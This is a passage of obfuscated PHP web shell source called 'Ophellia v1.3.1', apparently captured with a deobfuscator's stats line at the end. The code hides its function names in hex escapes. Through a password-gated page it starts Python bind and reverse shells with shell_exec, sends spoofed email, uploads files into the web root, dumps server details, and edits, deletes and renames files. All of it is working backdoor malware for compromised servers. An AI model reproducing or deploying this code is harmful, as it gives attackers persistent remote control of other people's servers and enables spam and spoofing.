if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pyb') {
dpbizmlwsg('/tmp/pyb.py', $pty);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('python /tmp/pyb.py ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pyb') . "<pre>";
}
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pybc') {
dpbizmlwsg('/tmp/pybc.py', $pty);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('python /tmp/pybc.py ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pybc') . "<pre>";
}
}
die();
}
if (pytsguwjfk($tools) == 'mailer') {
echo '<h2>Mailer Tools</h2><form method="post" action="">From: <input type="text" name="from" value="ophellia@' . ${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME'] . '"> To: <input type="text" name="to" value="[email protected]"> Subject: <input type="text" name="subject" value="im using your webshell!"><br><textarea name="message" style="width: 40%;" rows="15">my ip address is ' . ${"\x5f\x53\x45\x52\x56\x45\x52"}['REMOTE_ADDR'] . '</textarea><br><input type="submit" value="Execute"/></form><pre>';
if (isset(${"\x5f\x50\x4f\x53\x54"}['from'])) {
$headers = "From: Ophellia <" . ${"\x5f\x50\x4f\x53\x54"}['from'] . ">" . PHP_EOL;
$headers .= "Reply-To: Ophellia <" . ${"\x5f\x50\x4f\x53\x54"}['from'] . ">" . PHP_EOL;
$headers .= "Return-Path: " . ${"\x5f\x50\x4f\x53\x54"}['from'] . PHP_EOL;
$headers .= "X-Mailer: Microsoft Outlook 16.0";
"\x6d\x61\x69\x6c"(${"\x5f\x50\x4f\x53\x54"}['to'], ${"\x5f\x50\x4f\x53\x54"}['subject'], ${"\x5f\x50\x4f\x53\x54"}['message'], $headers);
echo "Mail Sent !";
}
echo '</pre>';
die();
}
if (pytsguwjfk($tools) == 'upload') {
echo "<h2>Upload Tools</h2><form method='post' enctype='multipart/form-data'><div style='justify-content: center'><input type='radio' name='uploadtype' value='1' checked>current_dir [ $path ]<br/><input type='radio' name='uploadtype' value='2'>document_root [ $root ]</div><br/><input type='file' name='upload'> <input type='submit' value='upload' name='upload'></form><br/>";
if (isset(${"\x5f\x50\x4f\x53\x54"}['upload'])) {
if (${"\x5f\x50\x4f\x53\x54"}['uploadtype'] == 1) {
$tmp = $_FILES['upload']['tmp_name'];
$up = "\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);
if ("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp, $path . "/" . $up)) {
echo "<b>SUCCESSFULLY UPLOADED</b>";
} else {
echo "<b>FAILED TO UPLOAD FILE</b>";
}
} else {
$tmp = $_FILES['upload']['tmp_name'];
$up = "\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);
if ("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp, $root . "/" . $up)) {
echo "<b>SUCCESSFULLY UPLOADED</b>";
} else {
echo "<b>FAILED TO UPLOAD FILE</b>";
}
}
}
die();
}
if (pytsguwjfk($tools) == 'info') {
$disable_functions = (!empty(@"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions'))) ? "<b>" . @"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions') . "</b>" : "<b>NONE</b>";
echo "<div id=\"l\"><pre>System : " . @"\x70\x68\x70\x5f\x75\x6e\x61\x6d\x65"('a') . " " . ${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_SOFTWARE'] . "<br/>User : " . "\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72"() . "<br/>Free Space : $size<br/>Server IP : " . "\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65"(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST']) . "<br/>Client IP : " . ${"\x5f\x53\x45\x52\x56\x45\x52"}['REMOTE_ADDR'] . "<br/>Safe Mode : $Safe<br/>PHP Version : " . @"\x70\x68\x70\x76\x65\x72\x73\x69\x6f\x6e"() . "<br/>Disable Function : $disable_functions";
echo "</pre></div>";
die();
}
}
if (isset($rfile) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rfile)) {
if ("\x75\x6e\x6c\x69\x6e\x6b"($rfile)) {
echo ("<br/><b>File $rfile Deleted</b>");
} else {
echo ("<br/><b>File $rfile Not Deleted</b>");
}
}
if (isset($mkdir)) {
if (!empty($mkdir)) {
if (mkdir($mkdir, 0777, true)) {
echo "<br/><b>Directory $mkdir Created</b>";
} else {
echo "<br/><b>Directory $mkdir Not Created</b>";
}
} else {
echo "<br/><b>Can't create folder with empty name</b>";
}
}
if (isset($mkfile)) {
echo '<form method="post" action=""><textarea rows="25" name="ftext"></textarea><br><div id="l"><br/><input type="text" name="fname" value="' . $mkfile . '"\> <input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></div></form><br/>';
if (!empty(${"\x5f\x50\x4f\x53\x54"}['fname'])) {
if (${"\x5f\x50\x4f\x53\x54"}['fname'] && ${"\x5f\x50\x4f\x53\x54"}['ftext']) {
if ("\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"(${"\x5f\x50\x4f\x53\x54"}['fname'], ${"\x5f\x50\x4f\x53\x54"}['ftext'])) {
echo "<br/><b>File " . ${"\x5f\x50\x4f\x53\x54"}['fname'] . " Created</b>";
} else {
echo "<br/><b>File " . ${"\x5f\x50\x4f\x53\x54"}['fname'] . " Not Created</b>";
}
}
} else {
echo "<br/><b>Can't create file with empty name</b>";
}
}
if (isset($rmdir) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rmdir)) {
if ("\x72\x6d\x64\x69\x72"($rmdir)) {
echo "<br/><b>Directory $rmdir Deleted</b>";
} else {
echo "<br/><b>Directory $rmdir Not Deleted</b>";
}
}
if (isset($cndir)) {
$dir = $cndir;
$rr = ${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME'] . "$file?d=" . hgijkvlofw($dir);
header("Location: http://$rr");
}
if (isset($rename)) {
echo '<br/><br/><form method="post" action="">Old Name: <input type="text" name="oldname" value="' . pytsguwjfk(${"\x5F\x47\x45\x54"}['oldname']) . '" readonly> New Name: <input type="text" name="newname" value=""> <input type="submit" value="Execute"/> <button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></form><pre>';
if (${"\x5f\x50\x4f\x53\x54"}['oldname'] && ${"\x5f\x50\x4f\x53\x54"}['newname']) {
if (isset(${"\x5f\x50\x4f\x53\x54"}['oldname'])) {
rename(${"\x5f\x50\x4f\x53\x54"}['oldname'], ${"\x5f\x50\x4f\x53\x54"}['newname']);
echo '<b>Rename File Done.</b><br />';
} else {
echo '<b>Rename File Failed.</b><br />';
}
}
echo '</pre>';
}
if (isset($f) and "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65"($f)) {
$text = "\x68\x74\x6d\x6c\x65\x6e\x74\x69\x74\x69\x65\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($f));
echo '<textarea rows="25" name="text" readonly>' . $text . '</textarea><br/><br/><div id="l"><button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></div>';
}
if (isset($fedit) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($fedit)) {
$text = "\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($fedit));
echo '<form method="post" action=""><textarea rows="25" name="text">' . $text . '</textarea><br><br/><div id="l"><input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></div></form><br/>';
if ("\x66\x69\x6C\x65\x5F\x65\x78\x69\x73\x74\x73"($fedit)) {
if (isset(${"\x5f\x50\x4f\x53\x54"}['text'])) {
$write = fopen($fedit, 'w');
$new_text = "\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['text']);
if (fwrite($write, $new_text)) {
echo '<b>Edit File Done.</b><br />';
} else {
echo '<b>Edit File Failed.</b><br />';
}
fclose($write);
}
}
}
echo '<br /><table><thead><tr><th style="width:35%"> File Name </th><th style="width:7%"> Actions </th><th style="width:5%"> Filesize </th><th style="width:5%"> Filetype </th><th style="width:5%"> Permission </th><th style="width:8%"> Owner / Group </th><th style="width:8%"> Last Modified </th></tr></thead><tbody>';
foreach ("\x73\x63\x61\x6E\x64\x69\x72"($path) as $files) {
if (!is_dir($files)) continue;
if ($files == ".." | $files == ".") {
echo "<tr>\n <td><img src='//rei.my.id/fldr.png' /><b><a href='?d=" . hgijkvlofw("\x64\x69\x72\x6e\x61\x6d\x65"($path)) . "'>$files</a></b></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
} else {
echo "<tr><td><img src='//rei.my.id/fldr.png' /><b><a href=$file?d=" . hgijkvlofw($path . '/' . $files) . ">$files</a></b></td><td id='c'> / <a href=$file?rmdir=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">RM</a> / <a href=?rename&oldname=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">CN</a></td>\n <td id='c'>-</td>\n <td id='c'>" . xyjceuqbzp($files) . "</td>\n <td id='c'>" . dqulxwriyk($files) . "</td>\n <td id='c'>" . rkbazswnuv($files) . "</td>\n <td id='c'>" . cjiudqxmft($files) . "</td>\n </tr>";
}
}
foreach ("\x73\x63\x61\x6E\x64\x69\x72"($path) as $files) {
if (!is_file($files)) continue;
echo "<tr><td><img src='//rei.my.id/file.png' /><a href=$file?f=" . hgijkvlofw($files) . " &d=" . hgijkvlofw($path) . ">$files</a></td><td id='c'><a href=$file?fedit=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">ED</a> / <a href=$file?rfile=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">RM</a> / <a href=?rename&oldname=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">CN</a></td>\n <td id='c'>" . urketafwsv($files) . "</td>\n <td id='c'>" . xyjceuqbzp($files) . "</td>\n <td id='c'>" . dqulxwriyk($files) . "</td>\n <td id='c'>" . rkbazswnuv($files) . "</td>\n <td id='c'>" . cjiudqxmft($files) . "</td>\n </tr>";
}
echo "</tbody></table><div id='r'><a href='//github.com/elliottophellia'>@elliottophellia</a></div>";
if (isset(${"\x5F\x47\x45\x54"}['exit'])) {
unset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']);
echo "<script>window.location.href='?';</script>";
exit();
}
} else {
echo '<img src="//bit.ly/ophellia" width="200" /><br/><form action="" method="post"><input type="password" name="pass" style="border: none;"></form>';
}
header('X-Powered-By: Ophellia v1.3.1');
echo '</body></html>';
Function Calls
None |
Stats
MD5 | c7635c6d390555962efef72f3e3d466e |
Eval Count | 0 |
Decode Time | 85 ms |